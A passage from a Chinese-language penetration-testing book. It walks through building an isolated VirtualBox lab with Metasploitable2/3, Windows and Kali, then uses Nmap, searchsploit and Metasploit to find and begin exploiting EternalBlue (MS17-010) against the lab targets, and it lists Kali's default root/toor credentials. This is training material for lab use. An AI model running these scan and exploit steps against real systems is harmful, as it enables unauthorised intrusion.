现在我们对将要使用的软件以及我们实验室所需的结构和网络拓扑有了很好的了解。下一步是将所有这些部分组合在一起。

建立我们的实验室

现在我们已经准备好开始将各种部分组合在一起构建我们的虚拟黑客实验室。我们将从设置我们选择的虚拟化程序 VirtualBox 开始。如果您已经熟悉其他首选的虚拟化程序,也可以随意使用。这些步骤大部分也可以在VMware WorkstationVMware Player上重新创建。

安装和配置 VirtualBox

VirtualBox 是一个跨平台的开源第 2 型虚拟化程序,提供出色的功能和性能。第一步是根据您正在运行的主机操作系统下载正确的安装二进制

  1. 在浏览器中打开www.virtualbox.org/wiki/Downloads。您将看到支持操作系统的下载链接,如图 2.5所示。选择您的主机操作系统开始下载:图 2.5 – 下载 VirtualBox

    图 2.5 – 下载 VirtualBox

  2. 下载安装二进制文件后,您需要安装它。该二进制文件或可执行文件将向您展示标准安装向导。在保持所有设置和配置为默认设置的情况下,按照安装步骤进行操作。完成后,您现在可以打开 VirtualBox,您将看到类似于图 2.6所示的窗口:

图 2.6 – VirtualBox 欢迎屏幕

图 2.6 – VirtualBox 欢迎屏幕

现在我们已经安装了 VirtualBox,我们可以开始设置和配置虚拟网络。

配置虚拟网络

我们将使用图 2.4中概述的网络拓扑作为我们设置和配置 VirtualBox 内的虚拟网络适配器的指南。

VirtualBox 提供了一个简单但功能强大的虚拟网络管理器,可以帮助创建具有可定制参数和功能的适配器和网络配置。

我们的虚拟网络将需要以下选项和参数:

  • IPv4 地址掩码:10.10.10.1/24

  • 启用了 DHCP 服务器

现在我们了解了 IP 地址掩码,我们可以配置我们的虚拟网络:

  1. 要打开网络管理器,点击工具功能区右上角的菜单:图 2.7 – VirtualBox 网络工具

    图 2.7 – VirtualBox 网络工具

    你将看到一个类似图 2.8的新窗口,提示你要么创建要么移除虚拟网络适配器。

  2. 在我们的情况下,我们将创建自己的虚拟网络适配器,用于在相同的 IP 地址掩码下互联所有虚拟机。点击创建按钮开始配置过程:图 2.8 – 创建一个 VirtualBox 适配器

    图 2.8 – 创建一个 VirtualBox 适配器

  3. 现在你应该看到虚拟网络管理器屏幕。根据我们之前描述的网络要求,我们需要设置一个特定的 IP 地址掩码,并启用 DHCP 以进行自动 IP 分配。要配置我们的 IP 地址掩码,选择我们创建的虚拟网络适配器,然后点击属性按钮开始定制过程:图 2.9 – 配置虚拟网络适配器

    图 2.9 – 配置虚拟网络适配器

  4. 在适配器的配置选项中,确保勾选手动配置适配器选项,就像图 2.9中演示的那样。添加我们之前指定的 IP 地址掩码。完成后,点击应用按钮保存配置。

    现在我们需要启用 DHCP 服务器。这可以在适配器配置菜单中的DHCP 服务器选项卡下启用和配置。启用 DHCP 后,您需要提供寻址模式和默认网关地址。您可以使用图 2.10中概述的配置:

    图 2.10 – VirtualBox DHCP 配置

    图 2.10 – VirtualBox DHCP 配置

  5. 修改 DHCP 服务器的 IP 寻址模式后,点击应用保存配置。

现在我们已经在 VirtualBox 中创建和配置了虚拟网络,我们可以开始在 VirtualBox 中设置我们的虚拟机,并将它们添加到我们创建的虚拟网络中。

设置我们的目标虚拟机

现在我们已经有了一个完全配置好的 hypervisor 和虚拟网络,我们可以在其中操作;然而,我们还需要设置我们的目标虚拟机,这将包括全球使用和采用最广泛的两种操作系统:Windows 和 Linux。对于渗透测试人员来说,具有利用这两种操作系统的实际经验至关重要,因为在现实场景中,你可能会遇到这两种操作系统,尽管在不同的部署和使用情况下。

正如前面所述,我们的目标虚拟机将包括不同版本的 Windows 和 Linux,并且其中一些将预先配置有漏洞,以帮助和增强学习过程。

设置 Windows 虚拟机

鉴于 Windows 操作系统的普及和采用,了解如何在桌面版本的 Windows 和Windows Server 部署上执行特权升级攻击是至关重要的。因此,我们的实验室将包括以下 Windows 版本:

  • Windows 10

  • Windows 7

  • Windows Server 2008

Windows 操作系统需要许可证并需要激活才能正常运行。但是,我们可以利用Microsoft TechNet Evaluation Center提供的优势。这为桌面和服务器操作系统提供了 90 天到 180 天的试用期。

然而,该服务仅提供 Windows 的最新版本,从 Windows 10 和 Windows Server 2016 到 Windows Server 2012 和 Windows 8.1。对于我们的 Windows 7 虚拟机,我们可以利用使用旧版 Windows 的Microsoft Edge Legacy虚拟机。

我将不会涵盖 Windows 安装过程。在本书中,我将演示配置并将我们的虚拟机添加到我们创建的虚拟网络的过程。

我们将从下载和配置我们所需的 Windows 虚拟机开始。

设置 Windows 7 虚拟机

现在我们来看看如何在 VirtualBox 上设置我们的 Windows 7 虚拟机。

要设置 Windows 7 虚拟机,请按照以下步骤进行:

  1. 首先,您需要下载 Windows 7 虚拟机的OVA文件,可以在developer.microsoft.com/en-us/microsoft-edge/tools/vms/下载。

  2. 在网站上,您将被提示选择您的虚拟机版本和虚拟机平台,如图 2.11所示。确保您指定Win7作为版本和VirtualBox作为平台:图 2.11 – 下载 Windows 7 虚拟机镜像

    图 2.11 – 下载 Windows 7 虚拟机镜像

  3. 您现在可以点击下载按钮下载压缩的 VirtualBox OVA 文件。

  4. 下载并解压存档后,您将看到一个 OVA 文件。OVA 文件是一个预配置和预安装的虚拟机,无需安装或配置;因此,这将节省时间。双击 OVA 文件即可导入。这将打开一个导入虚拟设备屏幕,如图所示:图 2.12 – VirtualBox OVA 导入

    图 2.12 – VirtualBox OVA 导入

  5. 确保您将机器基础文件夹指定为您已设置和配置用于虚拟机的目录或位置;这是虚拟机将被导入的目录。指定基础文件夹后,您可以点击导入开始导入过程,如图 2.13所示:图 2.13 – VirtualBox OVA 导入过程

    图 2.13 – VirtualBox OVA 导入过程

  6. 导入过程完成后,我们现在可以将虚拟机添加到我们设置的虚拟网络中。要做到这一点,选择虚拟机,如图 2.14中左侧栏所示,并单击设置按钮以修改虚拟机设置:图 2.14 – 虚拟机设置

    图 2.14 – 虚拟机设置

  7. 这将弹出选项菜单,在这里您可以更改虚拟机名称和资源分配;但是,我们还希望将虚拟机添加到虚拟网络中。这可以通过点击网络选项来实现,如图 2.15所示,并指定适配器(在本例中,屏幕上的适配器 1)为仅主机适配器

图 2.15 – 虚拟机网络配置

图 2.15 – 虚拟机网络配置

虚拟机现在应该配置为在我们创建的虚拟网络中运行和操作。我们现在可以继续设置我们的 Windows Server 2008 虚拟机,也称为Metasploitable3

设置 Metasploitable3 虚拟机

对于我们的 Windows Server 2008 虚拟机,我们将使用一个基于 Windows Server 2008 的有意漏洞的虚拟机,名为 Metasploitable3。它由Rapid7设计和创建,用于教授和演示各种渗透测试和权限提升技术。

要了解更多关于 Metasploitable3 的信息,您可以阅读发布说明,网址为blog.rapid7.com/2016/11/15/test-your-might-with-the-shiny-new-metasploitable3/

设置 Metasploitable3 需要一个手动构建过程;但是,也存在预构建的虚拟机文件,我们可以使用这些文件来设置我们的虚拟机,而无需任何麻烦或安装:

  1. 要开始设置过程,我们首先需要下载 OVA 文件。

    预构建的Metasploitable3 Box文件可以在app.vagrantup.com/rapid7/boxes/metasploitable3-win2k8下载。

  2. 下载虚拟机文件后,导入过程类似于 Windows 7。只需双击OVA文件,将会弹出虚拟机导入屏幕,如下所示:图 2.16 – 导入 Metasploitable3

    图 2.16 – 导入 Metasploitable3

  3. 指定您的基本目录虚拟机并开始导入过程,如下所示:图 2.17 – 导入 Metasploitable3

    图 2.17 – 导入 Metasploitable3

  4. 导入虚拟机后,我们可以修改虚拟机设置,配置 Metasploitable3 使用虚拟网络,具体如下:

图 2.18 – Metasploitable3 网络设置

图 2.18 – Metasploitable3 网络设置

设置 Windows 10 虚拟机

您需要手动安装 Windows 10 虚拟机,因为微软没有提供预构建的虚拟机文件。如果您没有从ISO文件或光盘镜像手动安装 Windows 的经验,可以参考以下安装指南:www.extremetech.com/computing/198427-how-to-install-windows-10-in-a-virtual-machine

  1. 要下载 Windows 10 ISO,您需要导航到以下网址:www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise。此页面将提示您选择要下载的 Windows 10 版本。请选择Windows 10 Enterprise并点击继续。之后,您需要提供个人信息以访问下载:图 2.19 – 下载 Windows 10 ISO

    图 2.19 – 下载 Windows 10 ISO

  2. 下载 ISO 文件后,您可以在 VirtualBox 中创建虚拟机并手动安装 Windows。

  3. 成功安装 Windows 10 后,您现在可以修改网络设置,将虚拟机配置为使用我们创建的虚拟网络,如下图所示:

图 2.20 – Windows 网络设置

图 2.20 – Windows 网络设置

我们现在已经成功地设置好了我们的 Windows 虚拟机,并将其配置为使用我们定制的虚拟网络。接下来,让我们看看如何设置 Linux 虚拟机。

设置 Linux 虚拟机

通常,Linux 被设置并配置为作为服务器运行,主要用于托管像 Web 应用程序、邮件网关和数据库服务器等服务。这大大增加了攻击面和攻击向量,攻击者可以利用这些漏洞来获取初始的 Linux 系统访问权限;例如,Web 服务器的漏洞可能导致整个系统的完全入侵。

因此,我们将使用一个故意有漏洞的 Linux 虚拟机——Metasploitable2,它也是由Rapid7创建,旨在教授和演示 Linux 的利用与权限提升技术。

设置 Metasploitable2

Metasploitable2 是一个免费的故意有漏洞的 Ubuntu 虚拟机,可以在任何类型 2 虚拟机管理程序上设置和部署。让我们看看如何设置它:

  1. Metasploitable2 可以从 sourceforge.net/projects/metasploitable/files/Metasploitable2/ 下载。

  2. 该网址将引导您到SourceForge,在这里您将被提示下载 Metasploitable2 压缩档案,如下所示:图 2.21 – Metasploitable2 压缩档案

    图 2.21 – Metasploitable2 压缩档案

  3. 下载并解压存档后,我们将看到一个VMDK虚拟机磁盘)文件,我们将使用该文件来设置虚拟机,您可以在这里的列表中看到它:图 2.22 – Metasploitable2 存档

    ](Images/B17389_02_022.jpg)

    图 2.22 – Metasploitable2 存档

  4. 要设置 Metasploitable2,我们需要创建一个新的虚拟机。点击 VirtualBox 中的新建按钮,如下图所示:图 2.23 – 新建 VirtualBox 虚拟机

    图 2.23 – 新建 VirtualBox 虚拟机

  5. 现在,我们需要指定虚拟机的名称和虚拟机将要安装的基础目录。如图 2.24所示:图 2.24 – Metasploitable2 配置

    图 2.24 – Metasploitable2 配置

  6. 现在,我们将被提示在内存大小选项下指定希望分配给虚拟机的 RAM 大小,如图 2.25所示。保持默认配置的值,应该是512 MB图 2.25 – Metasploitable2 内存大小设置

    图 2.25 – Metasploitable2 内存大小设置

  7. 在指定所需的内存后,系统会提示您选择是创建一个虚拟硬盘还是使用现有的硬盘。选择使用您自己的虚拟硬盘,并指定您已下载的Metasploitable2.vmdk文件所在的目录,如下所示:图 2.26 – Metasploitable2 VMDK 文件指定

    图 2.26 – Metasploitable2 VMDK 文件指定

  8. 创建 Metasploitable2 虚拟机后,您需要配置虚拟机以使用自定义虚拟网络。这可以通过修改虚拟机的设置,并修改网络适配器来完成,如下所示:

图 2.27 – Metasploitable2 网络配置

图 2.27 – Metasploitable2 网络配置

在本节中,我们已经学习了如何设置 Windows 和 Linux 虚拟机,以及如何为我们的虚拟黑客实验室配置一个自定义的隔离虚拟网络。

我们已经设置好了所有的目标虚拟机,并将它们配置为运行在同一个虚拟网络中。我们要设置的最后一台虚拟机是我们的主要攻击者虚拟机。

设置 Kali Linux

Kali Linux是一个基于Debian的 Linux 发行版,专为渗透测试人员和安全研究人员量身定制。它预配置并预打包了超过 300 个可用于渗透测试、安全审计和取证的工具。它无疑是所有行业专业人士的事实标准,因为它提供了一个坚实的基础,具有多种部署和安装选项,并且拥有一个优秀的软件仓库。

Kali Linux 可以从官方 Kali 网站(kali.org)下载,并可以通过多种方式安装和配置。你可以直接从 ISO 安装,或者使用预配置的 OVA 文件来获得预装的解决方案。在我们的案例中,和 Windows 7 虚拟机一样,我们将使用 OVA 文件,因为它节省时间且更为方便。

首先,按照以下步骤操作:

  1. 要下载 Kali Linux 虚拟设备,请访问以下链接并根据你偏好的系统架构下载 32 位64 位Kali Linux VirtualBox 镜像(www.offensive-security.com/kali-linux-… 2.28 – Kali Linux VirtualBox 镜像 ](p6-xtjj-sign.byteimg.com/tos-cn-i-73…)

    图 2.28 – Kali Linux VirtualBox 镜像

  2. 下载并解压 Kali Linux 压缩包后,解压目录中的内容将包含一个可以直接导入到 VirtualBox 中的 Kali Linux OVA 文件。我们可以通过双击 OVA 镜像来完成这一操作。

  3. 这将启动 VirtualBox 导入虚拟设备向导,我们需要指定存储虚拟机的基础目录。

  4. 导入过程将开始,并需要几分钟时间才能完成:图 2.29 – 导入 Kali Linux OVA

    图 2.29 – 导入 Kali Linux OVA

  5. 导入完成后,我们需要配置 Kali 虚拟机,以使用我们创建的自定义网络。这可以通过修改虚拟机的设置来完成,如下所示:

图 2.30 – Kali Linux 网络设置

图 2.30 – Kali Linux 网络设置

我们现在已经能够全面设置我们的虚拟黑客实验室,接下来可以进入测试阶段。它涉及启动所有虚拟机并从 Kali Linux 执行主机发现扫描,以测试我们的虚拟网络配置的有效性和功能。

将所有内容整合在一起

我们可以通过单独启动我们的虚拟机并运行以下测试来开始测试:

  1. 要登录 Kali Linux 虚拟机,请使用 root 用户的凭据。用户名为 root,密码为 toor。可以通过在终端中运行 passwd 工具来更改密码,如下所示:图 2.31 – Kali Linux 密码更改功能

    图 2.31 – Kali Linux 密码更改功能

  2. 启动虚拟机后,可以使用名为 netdiscover 的工具执行网络发现扫描,该工具利用 地址解析协议ARP)ping 来检测网络上的主机。要运行网络发现扫描,请在 Kali Linux 终端中运行以下命令:

    $ netdiscover -i <interface> -r 10.10.10.1/24

  3. 运行netdiscover命令后,我们会发现两个在线且活跃的主机,如图 2.32所示。这表明我们的网络配置是正常的,且我们可以与网络上的其他主机进行通信:

图 2.32 – netdiscover 的结果

图 2.32 – netdiscover 的结果

我们已经设置了 Kali Linux 虚拟机,并配置它在相同的虚拟网络中运行,同时通过执行主机发现扫描测试了我们的虚拟网络。

总结

在本章中,我们首先了解了如何构建一个虚拟黑客实验室以及虚拟化的作用。接着,我们学习了如何设置和配置我们的虚拟机监控器(hypervisor)以及一个定制的隔离网络,用来互联我们的虚拟机。然后,我们在本章后半部分设置了在 VirtualBox 上的目标虚拟机,并配置它们使用我们定制的虚拟网络。最后,我们通过在虚拟黑客实验室中部署 Kali Linux 来结束本章内容。

现在我们已经建立了一个功能正常的虚拟黑客实验室,可以开始初步的漏洞利用过程。

在下一章中,我们将通过在目标虚拟机上获得初步的立足点,开始特权提升过程。我们将查看可以用来访问系统的各种攻击路径。

第三章:获取访问权限(利用)

在我们深入了解 Windows 和 Linux 的权限提升之前,我们需要探索利用过程以及可以利用的各种利用技术,包括这些技术如何影响权限提升过程。

利用是渗透测试生命周期中的一个独特阶段。因为它涉及主动与目标进行交互,以确定或发现可以被利用的缺陷或漏洞,从而获取访问权限。

利用为成功的渗透测试奠定了基础,并验证你能够在目标系统或网络上进行的操作范围。选择正确的攻击向量利用框架或利用手段对于获取和保持目标系统的访问至关重要。

在本章中,你将了解利用 Windows 和 Linux 系统的各种方法,以及如何利用像Metasploit这样的利用框架。

本章将涉及以下主题:

  • 设置 Metasploit

  • 信息收集和足迹分析

  • 获取访问权限

技术要求

为了跟随本章中的演示,你需要确保满足以下技术要求:

  • Linux 终端命令有基本的了解

  • 对信息收集和足迹技术有一定的了解

你可以在这里查看本章代码的实际操作:bit.ly/3m5qIaI

设置 Metasploit

Metasploit 框架是由 H.D. Moore 开发的开源利用框架。最初是用 Perl 编写的,后来被用 Ruby 重写。它是全球安全专家广泛采用的事实标准利用框架。它于 2009 年被Rapid7收购,并且得到了持续的维护和支持。

它的设计目的是简化和增强渗透测试过程。通过提供基于渗透测试方法不同阶段的模块化功能,它达到了这一目的。

Metasploit 可以在渗透测试生命周期的几乎每个阶段使用,从信息收集到利用和权限提升。正是这种强大的功能使得 Metasploit 成为任何渗透测试者必须学习的框架。

Metasploit 有两个版本,提供不同的功能和特性:

  • Metasploit 专业版

  • Metasploit 社区版

在本书的过程中,我们将使用 Metasploit 框架版本的 Metasploit。

Metasploit 结构

在我们开始设置和使用 Metasploit 框架之前,首先需要了解它的具体结构。图 3.1概述了构成 Metasploit 框架的组件,并提供了这些组件如何相互作用的高层次概述:

图 3.1 – Metasploit 架构

图 3.1 – Metasploit 架构

鉴于本书的主题,我们不会详细探讨每个组件的工作原理和目的。相反,我们将重点关注与漏洞利用相关的 Metasploit 框架中最重要的元素——即 模块

重要提示

Metasploit 框架是预先打包的。它已安装在 Kali Linux 上,也可以在官方的 Kali 仓库中找到。因此,我们不会讨论如何手动安装 Metasploit。

理解 Metasploit 模块如何结构化的最佳方法是浏览 Kali Linux 上的目录。默认的 Metasploit 框架目录位于 /usr/share/metasploit-framework,你可以通过运行以下命令列出该目录的内容:

ls -al /usr/share/metasploit-framework

图 3.2 概述了 Kali Linux 上默认 Metasploit 框架目录的内容。如图所示,该目录包含了根据功能分类的二进制文件和目录。例如,我们可以看到 msfdb 二进制文件,它负责与 Metasploit 框架数据库进行交互;同时也可以看到,模块已经被整理到各自的目录中:

图 3.2 – Metasploit 目录布局

图 3.2 – Metasploit 目录布局

在下一节中,我们将看看如何根据模块类型进一步组织这些模块。

Metasploit 模块

由于框架的模块化特性,Metasploit 使用模块来划分功能。它通过根据模块在渗透测试生命周期中所扮演的角色,按照特定功能对模块进行分类。你可以通过查看 /usr/share/metasploit/framework/modules 目录中的内容来访问这些模块,如 图 3.3 所示:

图 3.3 – Metasploit 模块目录

图 3.3 – Metasploit 模块目录

模块及其功能按以下方式分类:

  • 漏洞利用:这些是利用/杠杆化系统或程序中特定漏洞的代码片段。Metasploit 根据目标操作系统、架构和服务版本进一步对这些漏洞利用进行分类。

  • 载荷:这些是通常与漏洞利用捆绑在一起的代码,用于在成功利用后执行额外的命令和指令。例如,大多数远程访问漏洞利用都使用载荷来生成反向 shell,从而为攻击者提供直接访问权限。

  • 辅助模块:这些模块用于执行特定功能,通常涉及信息收集、模糊测试和漏洞扫描。

  • 编码器:编码器用于对载荷进行编码和混淆,以避免被防病毒软件和基于签名的检测识别。编码器还用于为特定用途生成各种类型的载荷。

  • 后渗透:后渗透模块在成功利用目标后使用,以进一步增强对目标系统的控制。通常,它们用于执行以下任务:

    a) 提升权限

    b) 凭证收集与哈希值提取

    c) 捕获目标系统上的用户输入

    d) 执行进程和二进制文件

    e) 设置持久性

现在我们已经熟悉了 Metasploit 框架中可用的各种模块,可以开始设置和配置 Metasploit 框架以供使用。

设置 Metasploit 框架

要开始使用 Metasploit 框架,我们需要创建并初始化 Metasploit 数据库。你需要执行以下步骤:

  1. Metasploit 使用 PostgreSQL 数据库作为存储后端。首先,我们需要确保 PostgreSQL 服务正在运行,可以通过输入以下命令来检查:

    sudo systemctl start postgresql

  2. 现在我们可以通过运行以下命令并使用 root 权限来初始化 Metasploit 数据库:

    sudo msfdb init

    初始化过程将创建 msf 数据库,并将 msf_test 角色添加到数据库配置中。

  3. 我们现在可以访问 Metasploit 框架控制台,也叫做 msfconsole。这可以通过在终端中运行以下命令来完成:

    msfconsole

    如你所见,在 图 3.4 中,启动 msfconsole 需要几秒钟:

    图 3.4 – 启动 msfconsole

    ](Images/B17389_03_004.jpg)

    图 3.4 – 启动 msfconsole

  4. msfconsole 启动后,你将看到一个横幅和 msf 提示符,如下所示的截图所示:图 3.5 – msfconsole 横幅

    ](Images/B17389_03_005.jpg)

    图 3.5 – msfconsole 横幅

  5. 在我们开始使用 msfconsole 之前,需要通过在 msfconsole 中运行以下命令来验证 Metasploit 数据库是否已连接:

    db_status

如你所见,在 图 3.6 中,输出告诉我们 msfconsole 已连接到数据库:

图 3.6 – Metasploit 数据库状态

图 3.6 – Metasploit 数据库状态

现在,Metasploit 框架应该已经完全功能化并准备好使用。我们现在可以进入下一阶段,进行目标虚拟机的足迹分析和 主动侦察

信息收集与足迹分析

在我们能够利用目标系统之前,需要准确地枚举目标,以便从中获取重要信息。渗透测试生命周期的这一阶段包括扫描和发现网络中的主机。我们扫描这些主机以找到开放的 端口服务,并了解它们的版本。此外,我们还需要识别目标系统所运行的操作系统。

这是渗透测试中最重要的阶段之一,因为它将决定攻击阶段的整体成功。如果我们能从目标中收集和列举足够的信息,就可以设立有效的攻击和漏洞利用方法。然而,如果我们没有做到这一点,攻击方法将会低效,甚至可能没有任何结果。

我们将通过绘制虚拟网络图来开始足迹分析过程,以发现目标虚拟机及其对应的 IP 地址。

使用 Nmap 进行网络映射

网络映射工具Nmap)是一个免费的开源网络映射工具,用于发现网络上的主机、执行端口扫描、服务检测和操作系统检测。它通过向目标发送特殊构造的数据包,并分析目标返回的响应来完成这些任务。根据这些响应,Nmap 判断端口是否开放、目标是否在线,或者防火墙是否存在。

我们将结合使用 Nmap 和 Metasploit,在其中导入 Nmap 扫描结果到 Metasploit 框架数据库。Nmap 可以生成多种格式的输出。在我们的案例中,我们将以 XML 格式导出扫描结果,以便将其导入 Metasploit 数据库。

请确保您已运行以下目标虚拟机,因为我们将在本章中使用它们:

  • Windows 7

  • Metasploitable3

  • Metasploitable2

现在我们已经清楚了要攻击的主机,我们可以开始使用 Nmap 进行主机发现。

使用 Nmap 进行主机发现

足迹分析的第一步是发现网络上的活动主机及其对应的 IP 地址。接下来,我们将单独扫描这些主机,以发现开放端口、运行的服务以及正在使用的操作系统:

  1. 我们可以通过运行以下命令,在第二章中创建的整个虚拟网络子网执行ping 扫描

    sudo nmap -sn 10.10.10.1/24

    如您所见,在图 3.7中,我们的网络上有四个活动主机。然而,我们仍然不知道这些主机运行的是哪种操作系统,这使得确定哪些 IP 地址对应我们的虚拟机变得非常困难:

    图 3.7 – 使用 Nmap 进行主机发现

    图 3.7 – 使用 Nmap 进行主机发现

    这个 Nmap 扫描将向网络上的所有主机发送ping请求,并根据收到的响应判断主机是否在线。

  2. 为了确定目标虚拟机运行的操作系统,我们可以在虚拟网络子网上使用 Nmap 进行激进扫描。可以通过运行以下命令来实现:

    sudo nmap -A -T4 10.10.10.1/24

    此扫描将显示目标操作系统、运行的服务、服务版本以及在目标系统上开放的端口。例如,通过分析操作系统扫描发现的结果,你应该能够确定主机正在运行什么操作系统。图 3.8列出了 IP 地址为10.10.10.7的虚拟机的操作系统发现结果。如你所见,操作系统发现结果表明主机运行的是Windows Server 2008 SP1,这意味着它是 Metasploitable3 虚拟机:

    图 3.8 – 使用 Nmap 进行操作系统发现

    图 3.8 – 使用 Nmap 进行操作系统发现

    注意

    你还可以使用-O标志和-sV标志扫描特定信息,如操作系统和服务信息。

    鉴于我们虚拟网络的基础设施以及动态主机配置协议DHCP)的使用,虚拟机的 IP 地址可能与此处的情景有所不同。在这种情况下,IP 地址对应以下主机:

    a) Metasploitable3: 10.10.10.4

    b) Metasploitable2: 10.10.10.8

    c) Windows 7: 10.10.10.7

    现在我们已经绘制了网络上主机的映射图,可以对所有网络上的主机进行个别扫描,以确定运行的服务和开放的端口。

  3. 要对目标进行全面扫描,我们将使用 Nmap 的半开放高级扫描SYN 扫描)对所有 TCP 端口进行扫描。这将为我们提供目标系统上开放的服务和端口的准确图景。我们还将把结果输出为 XML 格式,以便导入到msfconsole中。这可以通过运行以下 Nmap 扫描来实现:

    sudo nmap -sS -A -T4 -p- <IP-ADDRESS> -oX output_file.xml

    重要提示

    你需要对虚拟网络上的所有目标虚拟机运行此扫描,以确定开放的端口和运行的服务。我们将在下一节中使用这些信息,进行漏洞分析,以确定可能被利用的漏洞。

  4. 执行扫描后,你应该将扫描结果保存为 XML 格式。现在,我们可以开始将结果导入 Metasploit。首先,我们需要启动msfconsole

  5. 启动msfconsole后,我们可以通过运行db_import命令将 Nmap 的 XML 结果导入:

    db_import /home/kali/Desktop/outpute_file.xml

    这将导入扫描结果,并且msfconsole将自动将扫描中指定的目标添加为主机,如以下屏幕截图所示:

图 3.9 – 导入 Nmap 扫描结果

图 3.9 – 导入 Nmap 扫描结果

导入扫描结果后,我们可以对这些结果进行漏洞分析,以识别可能的可利用漏洞。这个过程至关重要,因为它将决定我们成功利用漏洞的机会。

漏洞评估

漏洞评估 是识别、量化和优先排序系统内漏洞的过程。通过使用像 OpenVASNessus 这样的漏洞扫描系统,可以实现这个过程的自动化。然而,自动化的漏洞扫描并不会主动利用系统中的漏洞,它们仅仅报告漏洞。这正是渗透测试的作用所在。作为渗透测试员,您不仅需要发现漏洞,还要积极尝试利用这些漏洞,以验证其严重性和风险。

因此,作为渗透测试员,学习如何对目标进行手动漏洞评估是非常重要的,而不是仅仅依赖自动化的漏洞扫描工具。能够主动扫描并手动检测漏洞是一项必备技能。

根据我们在足迹分析阶段从目标收集的结果,我们可以开始通过仔细检查目标虚拟机上运行的操作系统和服务,来识别漏洞。

Metasploitable3 漏洞

我们可以在 msfconsole 中开始分析 Metasploitable3 虚拟机的 Nmap 扫描结果:

  1. 启动 msfconsole 后,我们可以列出活动主机,以识别 Metasploitable3 虚拟机。您可以通过在 msfconsole 中运行以下命令来完成此操作:

    hosts -u

    图 3.10 概述了我们从 Nmap 扫描结果中导入的所有活动主机。如您所见,msfconsole 列出了目标的 IP 地址和操作系统名称。这些信息很有用;然而,我们需要识别操作系统和服务版本:

    图 3.10 – msfconsole 主机

    图 3.10 – msfconsole 主机

  2. 要显示特定主机上运行的服务及其服务版本,我们可以在 msfconsole 中使用以下命令:

    services <IP-ADDRESS>

    图 3.11 所示,我们可以识别出操作系统版本为 Windows Server 2008 R2,服务包 1

    图 3.11 – Metasploitable3 服务

    图 3.11 – Metasploitable3 服务

    通过快速 Google 搜索,我可以识别操作系统中的一个未修补的漏洞。

    您可以通过像 Google 这样的搜索引擎来搜索与服务和操作系统相关的漏洞。通过使用特定的搜索引擎操作符,这个过程可以得到优化,如 图 3.12 所示:

    图 3.12 – 搜索漏洞

    图 3.12 – 搜索漏洞

    这个特定版本的 Windows Server 2008 易受MS17-010漏洞攻击,代号为EternalBlue。有关此漏洞的更多信息,请参见docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010EternalBlue是一个漏洞利用,允许攻击者通过利用 Microsoft 的**服务器消息块(SMB)**V1 协议中的漏洞来远程执行任意代码。

  3. 为了验证我们的目标是否易受此漏洞攻击,我们可以在msfconsole中搜索一个辅助扫描模块。可以通过运行以下命令来完成:

    search eternalblue

    图 3.13所示,这将显示多个与eternalblue搜索词匹配的模块。然而,我们要选择的辅助模块将识别我们的目标是否易受攻击:

    图 3.13 – 辅助模块

    图 3.13 – 辅助模块

  4. 要使用该模块,我们可以使用use命令并指定模块名称:

    use auxiliary/scanner/smb/smb_ms17_010

  5. 在指定模块后,我们需要配置扫描器选项。我们需要修改的主要选项是RHOSTS选项。RHOSTS选项用于指定目标 IP 地址,如图 3.14所示:图 3.14 – RHOSTS 选项

    图 3.14 – RHOSTS 选项

  6. 我们可以通过运行以下命令设置RHOSTS选项:

    set RHOSTS <IP-ADDRESS>

  7. 设置完RHOSTS选项后,我们可以使用以下命令运行辅助模块:

    run

    图 3.15所示,我们的 Metasploitable3 虚拟机易受 EternalBlue 漏洞的攻击:

图 3.15 – 主机易受攻击

图 3.15 – 主机易受攻击

我们现在已经识别并确认了一个潜在的漏洞,如果成功利用,它可以为我们提供远程访问目标的权限。在下一节中,我们将了解漏洞利用阶段。

Metasploitable2 漏洞

与 Metasploitable3 类似,我们可以分析在msfconsole中导入的 Metasploitable2 虚拟机的 Nmap 结果。让我们执行以下步骤:

  1. 要显示 Metasploitable2 上运行的服务及其版本,我们可以在msfconsole中使用以下命令:

    services <IP-ADDRESS>

    图 3.16所示,Metasploitable2 上有多个服务正在运行。鉴于服务版本,许多服务是过时的。我们还可以推断该服务器正在运行较旧版本的 Ubuntu:

    图 3.16 – Metasploitable2 服务

    ](Images/B17389_03_016.jpg)

    图 3.16 – Metasploitable2 服务

  2. 我们可以利用一个名为 searchsploit 的有用工具,它是 Kali Linux 中预装的,可以帮助我们找到与目标上运行的特定服务版本相关的潜在漏洞。我们可以通过运行以下命令来实现:

    searchsploit <服务名称和版本>

    注意

    Searchsploit 是一个工具,可以让你在 exploit-db 上搜索可用的漏洞,而不必手动访问 exploit-db 网站。

  3. 如果我们使用 searchsploit 扫描影响 Samba smbd V3.0.20 服务的漏洞,我们会发现它容易受到命令执行攻击,并且有一个相应的 Metasploit 模块可以用来利用这个漏洞。首先,你需要运行以下命令:

    searchsploit samba 3.0.20

    图 3.17 概述了针对 Samba smbd V3.0.20 可用的各种漏洞。我们将使用第二个漏洞,该漏洞有一个可用的 Metasploit 模块:

图 3.17 – Metasploitable2 漏洞

图 3.17 – Metasploitable2 漏洞

现在我们已经确定了目标系统上的潜在漏洞,接下来我们可以了解如何使用利用模块来获取访问权限。

获得访问权限

我们现在可以开始进行 利用,这是渗透测试生命周期中最令人兴奋的阶段。我们已经确定了目标系统上的潜在漏洞;因此,我们现在需要运行并测试这些漏洞以获得初步的立足点。

利用阶段的目标是获得对目标系统的稳定和持久访问,这样一旦系统被利用,即使系统重启,我们也能保持访问权限。

利用 Metasploitable3

在上一部分中,我们已经能够识别并验证 EternalBlue 漏洞作为 Metasploitable3 主机内的潜在访问路径。让我们看看如何使用这个漏洞来获得访问权限:

  1. 第一步是启动 msfconsole,并通过运行以下命令搜索 EternalBlue 漏洞模块:

    search eternalblue

  2. 我们将使用的模块是名为 exploit/windows/smb/ms17_010_eternalblue 的利用模块,如下图所示:图 3.18 – Metasploitable3 eternalblue 漏洞

    图 3.18 – Metasploitable3 eternalblue 漏洞

  3. 使用此模块时,我们将运行以下命令:

    use exploit/windows/smb/ms17_010_eternalblue

  4. 在指定模块后,我们需要配置模块选项。我们需要修改的主要选项是 RHOSTS 选项。RHOSTS 选项用于指定目标 IP 地址,如以下截图所示:图 3.19 – EternalBlue 模块选项

    图 3.19 – EternalBlue 模块选项

  5. 我们可以通过运行以下命令来设置 RHOSTS 选项:

    set RHOSTS <IP-ADDRESS>

  6. 我们还可以设置要使用的有效载荷有效载荷监听器选项,如图 3.20所示。我们使用模块指定的默认选项。

  7. 设置 RHOSTS 选项后,我们可以使用以下命令运行辅助模块:

    run

